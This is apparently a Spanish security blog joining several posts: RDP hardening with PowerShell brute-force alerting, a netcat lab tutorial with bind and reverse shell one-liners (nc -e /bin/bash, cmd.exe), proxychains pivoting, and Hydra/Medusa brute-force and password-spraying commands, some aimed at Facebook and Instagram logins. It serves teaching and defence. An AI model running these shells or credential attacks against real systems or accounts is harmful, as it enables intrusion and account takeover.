Detectar, alertar y bloquear intentos de conexión por fuerza bruta a escritorio remoto RDP

Antes de nada comentar que es una muy mala práctica y está totalmente desaconsejado publicar hacia internet servicios de escritorio remoto. RDP es de los servicios más comprometidos por atacantes externos, con más intentos de ataques y que facilitan un vector de entrada directo a la red de una empresa si el acceso se configura de esta forma.

En el caso de tener que publicar RDP a internet -sin una VPN o una conexión intermedia hacia un equipo bastión- aunque sea de una manera temporal, hay que hacerlo de la forma "más segura" posible.

Hardening o bastionado en servicios de Escritorio remoto RDP

Lista de acceso de usuarios mediante NLA y privilegios

• Habilitar autenticación a nivel de red NLA (Network Level Authentication) por defecto ya lo está en servidores.
• Añadir solo a los usuarios permitidos en el grupo "Usuarios de escritorio remoto".
• Establecer contraseñas largas y robustas para los usuarios que se les permita autenticarse.
• Restringir el inicio de sesión a través de RDP a usuarios Administradores y permitirlo solamente a usuarios específicos.
• Estos usuarios no deben de ser Administradores locales o dominio. En caso de necesitar elevar privilegios hacer uso de UAC una vez iniciada la sesión en los binarios o aplicaciones que necesitemos ejecutar en dicho contexto de integridad.
• Establecer un port forwarding en otro puerto que no sea el 3389 RDP por defecto.

Bloqueo de cuenta por intentos fallidos de inicio de sesión

• Vía directiva de grupo GPO.
• A través del registro de Windows.
• Establecer un umbral de tiempo de desbloqueo considerable para evitar ataques de fuerza bruta automatizados y repetitivos en cortos intervalos de tiempo.

Otras medidas de seguridad adicionales para un bastionado en servicios RDP

• Establecer límite de tiempo para sesiones activas, pero en inactividad.
• No permitir que se guarden las contraseñas.
• Solicitar la contraseña siempre al conectar.
• Requerir comunicación RPC segura.
• Requerir el uso de un nivel de seguridad específico para conexiones remotas (RDP).
• Habilitar el nivel de cifrado "Alto".
• Permitir solo determinadas un ámbito de direcciones IPs remotas en el Firewall del servidor RDP.
• No permitir redirecciones de componentes:
• No permitir redirección de unidades.
• No permitir redirección portapapeles.
• No permitir redirección COM. 
• No permitir redirección LPT.
• No permitir redirección dispositivos Plug and Play.
• No permitir redirección dispositivos USB RemoteFX.
• No permitir redirección de impresoras de red.

Este artículo no se centra en la identificación, investigación y seguimiento de los eventos relacionados con el servicio RDP, para eso dejo esta buena referencia de estudio sobre logs RDP. Al igual que unas diapositivas que representan los diagramas de flujo de conexiones RDP. 

Está enfocado especialmente a los intentos de conexión originados desde máquinas externas hacia servicios RDP expuestos de forma pública a internet, aunque también es aplicable a conexiones de equipos remotos entre redes internas.

Detectar evento de intento de conexión TCP hacia RDP

Cuando se realiza un intento de conexión RDP hacia un equipo y este tiene la autenticación NLA habilitada lo primero que se genera son eventos de conexión de red, después de autenticación y finalmente un login satisfactorio, fallido o reconexiones de sesión.

Haciendo referencia al conjunto de diapositivas anteriores de diagramas de flujo de conexiones RDP. Se destacan principalmente dos eventos del ProviderName "Microsoft-Windows-TerminalServices-RemoteConnectionManager" el event ID 261 y 1149.

• Event ID 261: Se trata del primer evento que se produce indicando que el puerto RDP-Tcp que estaba escuchando recibió una conexión.
• Event ID 1149: NO indica una autenticación exitosa a un objetivo, simplemente una conexión de red RDP exitosa.

Figura 1: Event ID 261 y 1149.

El evento 1149 es interesante ya que nos muestra el login de usuario empleado en el intento de conexión hacia los servicios RDP, pero ninguno de estos eventos nos da información sobre la IP origen remota que realizó esta conexión al intentar autenticarse.

En el siguiente flujograma se puede observar que con NLA habilitado el primer evento de conexión de red que se genera es el event ID 131 correspondiente al ProviderName "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS".

Figura 2: Flujograma de alerta de eventos y bloqueo de una conexión RDP (fuente imagen).

El event ID 131 ya nos aporta la dirección IP remota y puerto TCP origen que realizó la solicitud de conexión a los servicios de escritorio remoto. Teniendo esta información ya podremos automatizar una detección, generar una alerta y bloquear la conexión localmente en el Firewall de Windows como veremos más adelante.

Figura 3: Detectando evento de conexión TCP hacia RDP (event id 131).

Automatizar las detecciones y crear alertas de los intentos de conexión RDP

Para detectar este evento de forma automática y alertarnos de ello, primero se creará un fichero por lotes .bat el cual simplemente se usará para realizar la llamada al script Powershell a través de la acción de la tarea programada que se creará más adelante.

Script .bat.

powershell.exe -ExecutionPolicy Bypass -File "C:\Users\adrian\Tools\Scripts\RDPBruteForce\Hunting_RDPBruteForce.ps1"

Comentaré dos formas para generar las notificaciones de alerta: vía Slack o correo Gmail y aunque se trate de una cuenta sin importancia y dedicada a ello tenemos que intentar no hardcodear passwords en texto plano en los scripts por lo que crearemos una password cifrada y almacenada en un fichero que solo podrá ser leída desde el equipo local que la creó.

"MiPassword" | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString | Out-File "C:\Users\adrian\Tools\Scripts\RDPBruteForce\email.pass"

El siguiente script Powershell enviará una alerta de email notificando un nuevo intento de conexión correspondiente al event ID 131.

$PSDefaultParameterValues['*:Encoding'] = 'utf8'

$usuarioEmail = "EMAIL@gmail.com" 

$passwdEmailFile = "C:\PATH\email.pass"

$secPasswdEmail = Get-Content $passwdEmailFile | ConvertTo-SecureString

$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)

$asuntoEmail = "Intento de conexión RDP"

$cuerpoEmail = Get-WinEvent -ProviderName "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS" | Where-Object {$_.Id -eq "131"} | Format-List | Select -First 3 | Out-String

Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail - $fechaHoraActual" -Body "$cuerpoEmail" -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail

Creamos un filtro indicando el ID de evento 131 a partir de ahí adjuntamos este filtro personalizado a una nueva tarea programada de modo que la tarea se ejecutará solamente cuando se produzca dicho evento. 

Figura 4: Crear tarea programada a partir de un filtro personalizado.

Cargar el fichero de llamada .bat. Es opcional pero recomiendo especificar el path absoluto donde inicia el script.

Figura 5: Iniciar el script .bat de llamada al script Powershell en la acción de la tarea programada. 

En las opciones de seguridad la tarea se ejecutará tanto si el usuario inició sesión somo si no.

Figura 6: Tipo de usuario para la ejecución de la tarea programada.

Notificación de alertas de intentos de conexión RDP

Configuración de alertas vía Gmail

Una vez se genere un nuevo evento 131 se ejecutará la tarea y el script asociado que disparará la alerta de correo. Para el envío de alerta por correo vía Gmail a través del script Powershell es necesario activar el acceso a "Aplicaciones menos seguras" en la cuenta de Google. Por seguridad se debería crear una cuenta específica para esta finalidad.

Figura 7: Ejemplo de notificación de alerta vía Gmail alerta intento de conexión RDP.

Configuración de alertas vía Slack

Creación de una nueva app para Slack y configuración de incoming webhook URL.

Figura 8: Crear canal, app y añadir nuevo Webhook a Slack. 

Sustituiríamos el anterior script Powershell de notificaciones vía email Gmail por este otro siendo este al que llamaría el fichero .bat en la tarea programada.

$eventRdp = Get-WinEvent -ProviderName "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS" | Where-Object {$_.Id -eq "131"} | Format-List | Select -First 3 | Out-String

$uriSlack = "Webhook_URI"

$menssage = ConvertTo-Json @{ 

    text = $eventRdp

}

try {

    Invoke-RestMethod -uri $uriSlack -Method Post -body $menssage -ContentType 'application/json' | Out-Null

} catch {

    Write-Warning "Notification to Slack went wrong."

Figura 9: Ejemplo de notificación vía Slack alerta intento de conexión RDP.

Bloqueo de IPs externas en intentos de fuerza bruta a RDP

Al tener el servicio de RDP activo en WFAS (Windows Defender Firewall con seguridad avanzada) podemos encontrar habilitada la regla por defecto de Escritorio remoto (TCP de entrada) permitiendo la conexión por el puerto 3389/tcp por defecto. 

Figura 10: Regla por defecto RDP puerto TCP 3389.

Manualmente creamos una nueva regla pero esta vez en un modo de acción de "Bloquear la conexión". Las reglas de bloquear conexión o denegación tendrán un orden de preferencia frente a las reglas de permitir conexión.

Figura 11: Crear nueva regla de bloqueo de conexión.

Para este caso no se han cambiando los puertos por defecto por lo que el protocolo y puerto será el mismo que la regla por defecto 3389/tcp.

Figura 12: Regla de bloqueo de conexión protocolo TCP y puerto local 3389.

Una vez conocemos la dirección IP remota (pública en este caso) vamos agregando estas direcciones IP en el ámbito específico de "Dirección IP remota" estas se refieren a direcciones IP remotas dentro de la misma red o direcciones IP públicas-externas. Las direcciones IP locales se refieren a las propias de la máquina en caso de tener múltiples interfaces de red.

Al estar esta regla en un modo de acción de bloqueo de conexión denegará para esa IP origen el intento de conexión TCP hacia el servicio RDP no permitiendo la conexión inicial desde el primer intento.

Figura 13: Ámbito de regla - incluir IPs remotas de intento de conexión a bloquear.
 

Publicar escritorio remoto RDP de una forma más segura

Por lo general los servicios RDP suelen estar publicados en equipos servidores o máquinas que ofrecen uno o varios servicios y que remotamente necesitan gestionarse, por definición un servidor no debería de disponer de acceso a internet. Sino se disponen de tecnologías de control de seguridad SIEM o HIPS que puedan alertarnos de estos accesos, ni de arquitecturas más avanzadas y seguras para conectarse a una infraestructura interna como puedan ser servicios del tipo RD-Gateway, VDI o una VPN bien configurada con protocolos seguros, perfiles definidos y segmentación entre redes internas. 

Pero es necesario publicar el servicio RDP de una máquina interna de forma temporal, podemos hacerlo de una forma mucho más económica, sencilla de implementar y un poco más segura que tenerlo expuesto a través de un port forwarding local de puertos entre el router o firewall frontera hacia la IP del servidor interno.

1. Crear una máquina puente o bastión. Adquirir un servicio en cloud (AWS, Azure, GCP) y creamos una nueva máquina limpia con una dirección IP pública fija (esto es importante) y únicamente con el servicio de SSH disponible de forma pública. Por defecto la forma de conexión SSH a este tipo de máquinas cloud se realiza mediante clave pública-privada.
2. En la configuración avanzada del firewall de Windows editamos la regla RDP del propio servidor. En el ámbito de conexión del rango de IPs internas añadimos el rango de red interno (en el caso de que también queramos permitir conexiones de los equipos internos de la red).
3. Agregamos también la dirección IP pública asignada a la máquina bastión creada en el primer punto.
4. Para conectarnos si usamos una máquina Windows como cliente:
1. Agregar la clave privada de la conexión SSH de la máquina bastión.
2. Desde un cliente SSH como PuTTY establecemos una nueva conexión SSH port forwarding local.
5. Para conectarnos si usamos una máquina Linux como cliente:
1. Agregar la clave privada de la conexión SSH de la máquina bastión.
2. ssh -L LOCAL_IP:LOCAL_PORT:DESTINATION:DESTINATION_PORT USER@SSH_SERVER
3. Ejemplo: ssh -L 127.0.0.1:9999:192.168.1.10:3389 user@90.80.60.34

Estos recursos son económicos pero tampoco es una solución a largo plazo, lo ideal sería no exponer ningún servicio RDP ni SSH aunque se autentique con una PKI. Pero si por el momento no se disponen de otras implementaciones alternativas, hacerlo de este modo será más seguro que tenerlo expuesto directamente.

Saludos!

Conexiones directas e inversas con Netcat (nc): Obteniendo shells, transferencia de ficheros, banner grabbing y TCP/UDP Scan

Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.

Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows.

Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara.

nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p.

nc -lvp 1190

Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190.

nc 10.0.0.10 1190

Figura 1: Conexión con netcat nc.

Ejecutando shells en tipo de conexiones directas e inversas

Figura 2: Esquema de conexiones de shells directas e inversas.

En los próximos escenarios se usarán las siguientes máquinas:

• Kali: 10.0.0.10
• Windows: 10.0.0.19
• Puerto de ejemplo: 1190

Conexión directa

Para crear un conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante.

• Escenario A: Kali será el atacante y Windows será la víctima.

Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e.

nc -lvp 1190 -e powershell.exe

Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida.

nc 10.0.0.10 1190

Figura 2: Conexión directa Powershell. Windows listen Kali conecta.

• Escenario B: Kali será la víctima y Windows será el atancate.

Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior).

Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada.

nc -lvp 1190 -e /bin/bash

Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash.

nc 10.0.0.19 1190

Figura 3: Conexión directa /bin/bash. Kali listen Windows conecta.

Conexión inversa

Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que es la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima.

• Escenario A: Kali será el atacante y Windows será la víctima.

Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión.

nc -lvp 1190

Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima.

nc 10.0.0.19 1190 -e cmd.exe

Figura 5: Conexión inversa cmd. Kali listen Windows connecta.

• Escenario B: Windows será el atacante y Kali será la víctima.

Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali.

Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. 

nc -lvp 1190

Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. 

nc 10.0.0.10 1190 -e /bin/bash

Figura 4: Conexión inversa /bin/bash. Windows listen Kali conecta.

El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano.

Figura 6: Análisis del tráfico generado con netcat.

Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualizada desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows.

Transferencia de ficheros

En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. 

La diferencia radica en el sentido de las conexiones, que máquina estará a la escucha y cual establecerá la primera conexión.

• Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha.

Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que <. 

nc 10.0.0.10 1190 < file.exe

Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que >.

nc -lvp 1190 > file.exe

Figura 7: Transferencia de ficheros con netcat.

• Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial.

Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad.

Desde la máquina Kali nos ponemos a la escucha con el fichero.

nc -lvp 1190 < file.exe

Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir.

nc 10.0.0.19 1190 > file.exe

Figura 8: Transferencia de ficheros con netcat.

Transferencia de directorios

Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino.

Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. 

zip data.zip data
cat data.zip | nc -lvp 1190 

Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección > y un nombre para el fichero a recibir.

nc 10.0.0.10 1190 > data.zip

Figura 9: Transferencia de directorios (empaquetando el directorio) con netcat.

Envío de información en tiempo real

Com ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log.

Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha.

tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190

Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali.

nc -lvp 1190

Figura 10: Envío de información en tiempo real de un fichero log con netcat.

Otros usos de netcat

TCP Scan

Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará.

• -v: verbose
• -z: modo zero-i/o (solo informe de estado de conexión)
• -n: solo números IP

nc -vzn 10.0.0.11 21-80

Figura 11: TCP Scan - Escaneo de puertos en modo TCP con netcat. 

UDP Scan

Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cualquier está abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto.

• -u: modo UDP

nc -vzu 10.0.0.11 21-80

Figura 12: UDP Scan - Escaneo de puertos en modo UDP con netcat.

Banner Grabbing

Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing.

nc 10.0.0.11 22

nc 10.0.0.11 21

Figura 13: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat.

Web de referencia

Reverse Shell Generator: https://www.revshells.com

Conclusiones

En un principio puede resultar confuso entender que diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima.

En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución.

Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos.

Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. 

Saludos!

Pivoting entre proxys encadenados con Proxychains

Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores proxy configurados y como redirige estas peticiones de uno a otro.

En una fase de reconocimiento y enumeración hacía un sitio web, dependiendo el caso, intentamos mantener un cierto grado de anonimato ocultando nuestra dirección IP pública. Para ello usamos servidores Proxy o VPN Proxy o VPN siendo estas más fiables, prácticas y con un mayor nivel de garantía.

El uso de Proxychains nos permite configurar varios servidores proxy e ir reenviando de uno a otro de forma secuencial las peticiones que realicemos usando una segunda herramienta que no tenga capacidad para realizar esta tarea y así convertirla en anónima como pueden ser el uso de Nmap, SSH, un navegador web, etc.

proxychains <aplicación> <argumento>

proxychains firefox http://ifconfig.me

Existen multitud de sitios web donde podemos encontrar servidores proxy abiertos, para realizar las siguientes pruebas de forma rápida son los que usaré, lo ideal sería usar diferentes máquinas que nosotros montemos y conozcamos en distintos hostings, configurar un servidor proxy con usuario y password y hacer uso de estas IPs y puertos.

hidemy.name

Es un sitio web en el que encontramos una gran lista que suele estar actualizada de servidores proxy públicos.

• Proxy list: https://hidemy.name/es/proxy-list/

Figura 1: Proxy list en https://hidemy.name.

Podemos instalar Proxychains desde los repositorios, en Kali ya viene incluido en su suite de herramientas. Algunas de las opciones disponibles a configurar en su fichero de configuración /etc/proxychains.conf.

• quiet_mode: Si está descomentada indicaría un modo verbose activado.
• proxy_dns: Todas las peticiones DNS también saldrán por el proxy, es importante para conservar el anonimato, si la petición DNS va por nuestra IP y el tráfico por la IP del proxy podría llegar a encontrarse una correlación en los logs del servidor remoto.

Se encadenan en el mismo orden en el que se define la lista. Un ejemplo de la sintaxis de configuración sería.

<tipo> <IP> <puerto> <usuario> <password>

socks4 192.168.40.30 1080 user pass

En el caso de que el servidor proxy sea público y por lo general no contenga un usuario y contraseña se omitiría.

En el apartado de ProxyList definimos la lista de servidores proxy. Por defecto Proxychains hace uso de Tor. En el siguiente escenario se usarán servidores proxy de la lista anterior de hidemy.name. 

Figura 2: Estableciendo un tipo de proxy socks4 público en proxychains.

En la siguiente captura se muestra el resultado de una petición curl a la web https://ifconfig.me/ip que nos dará como resultado nuestra dirección IP pública sin proxychains. Usando proxychains vemos como la dirección IP pública es el servidor proxy configurado en proxychains, siendo este quién realiza la petición al sitio web.

proxychains curl https://ifconfig.me/ip

Figura 3: Comprobando la IP del proxy al visitar ifconfig.me.

Ahora añadiremos dos servidores proxy al fichero de configuración de proxychains. Si realizamos la misma petición con curl usando proxychains vemos como la petición se reenvía de uno a otro en el mismo orden establecido en el fichero de configuración. Para el sitio ifconfig.me será último servidor proxy quién realizó la solicitud y será el que se registre en log de acceso del servidor web.

Figura 4: Encadenando varios proxy con proxychains.

Pivoting entre redes internas con Proxychains

Proxychains también nos ayuda en la evasión de firewalls entre las comunicaciones en redes locales internas.

En el siguiente escenario el equipo de la Red A no tiene visibilidad con el equipo de la Red B pero existe un equipo intermedio que tiene visibilidad con ambas redes y que el equipo de la Red B solo aceptará peticiones que provengan de ese equipo intermedio.

Si queremos realizar un escaneo de puertos con nmap desde el equipo de la Red A al equipo de la Red B en una conexión directa no podríamos por una cuestión de visibilidad en la segmentación de redes internas locales. Sin embargo si tenemos acceso al equipo intermedio que si está autorizado para poder comunicarse con el equipo de la Red B.   

Figura 5: Pivoting hacia otra red interna con Proxychains.

Podríamos conectarnos al equipo intermedio y usar namp desde ese equipo, pero no queremos interferir instalando paquetes ni tampoco tenemos permisos suficientes para realizar instalaciones.

En estos casos lo mejor sería establecer una conexión tunelizada ejecutándose en background habilitando un reenvío de puerto dinámico (port forwarding dynamic).

ssh -NfD 1280 adrian@10.0.0.40

• -N: No ejecuta un comando remoto (útil solo para reenviar puertos)
• -f: Se ejecuta en segundo plano 
• -D: Reenvío local de un puerto dinámico

Figura 6: Estableciendo tunel ssh port forwarding dynamic.

Configuramos proxychains para usar el puerto local 1280 que reenviará la petición al equipo intermedio y este a su vez al equipo de la Red B. En la siguiente captura vemos como usando simplemente nmap no llegamos al equipo de la Red B pero a través de proxychains somos capaces de escanear un servicio web disponible en el puerto 80.

proxychains nmap -sS 10.0.0.16 -p80

Figura 7: Pivoting entre redes locales internas con Proxychains.

Saludos!

Hydra, Medusa y Ncrack: Password cracking a servicios por fuerza bruta en profundidad y en anchura (Password spraying)

THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.

Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.

nmap -p 21 10.0.0.16      # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16    # Windows 7 servicio RDP
nmap -p 445 10.0.0.16     # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40      # Linux servicio SSH

Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.

THC-Hydra

Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.

Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.

Principalmente se pueden definir 3 tipos de ataques:

• Fuerza bruta por diccionario con múltiples usuarios y passwords
• Fuerza bruta en profundidad
• Fuerza bruta en anchura o Password spraying

Fuerza bruta por diccionario con múltiples usuarios y passwords

Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.

hydra -L users -P wordlist -vV 10.0.0.16 ftp

• -L: Fichero que contiene la lista de usuarios.
• -P: Fichero que contiene la lista de passwords.
• -v: Modo verbose
• -V: Muestra el intento por cada login+pass
• 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.

El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.

Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.

Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.

Figura 3: Log en el servidor FTP del intento de autenticación.  

Fuerza bruta en profundidad

Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.

Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.

hydra -l maria -P wordlist -vV 10.0.0.16 rdp

• -l: Nombre de usuario único.
• -P: Fichero de lista de contraseñas.

Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. 

Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.

Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.

Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.

Fuerza bruta en anchura o Password spraying

Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.

Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. 

hydra -L users -p M4ria.12 -vV 10.0.0.16 smb

• -L: Fichero de lista de usuarios.
• -p: Contraseña única.

Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.

Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.

Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. 

Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.

En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.

Fuerza bruta en servicios web como Facebook o Instagram

Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques.

Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple "ping facebook.com" o "ping insgram.com" obtendremos la IP en ese momento.

Para protocolo HTTPS puerto 443 (https-get).

hydra -L users -P pass -vV <FACEBOOK_IP> -s 443 -f https-get /login

hydra -L users -P pass -vV <INSTAGRAM_IP> -s 443 -f https-get /accounts/login/

Para protocolo HTTP puerto 80 (http-get).

hydra -L users -P pass -vV <FACEBOOK_IP> -s 80 -f http-get /login

hydra -L users -P pass -vV <INSTAGRAM_IP> -s 80 -f http-get /accounts/login/ 

Figura 8: Ataque de fuerza bruta a servicios web como Facebook o Instagram.

Medusa

Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. 

Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos a parte de los que trae por defecto. 

Estos módulos están disponibles en el path.

/usr/lib/x86_64-linux-gnu/medusa/modules

Repositorio: https://github.com/jmk-foofus/medusa

Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.

medusa -U users -P wordlist -h 10.0.0.40 -M ssh

• -U: Fichero de lista de usuarios
• -P: Fichero de lista de contraseñas
• -h: Host remoto
• -M: Tipo de módulo.

En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. 

Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH.

Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.

Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH.

Ncrack

Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap. 

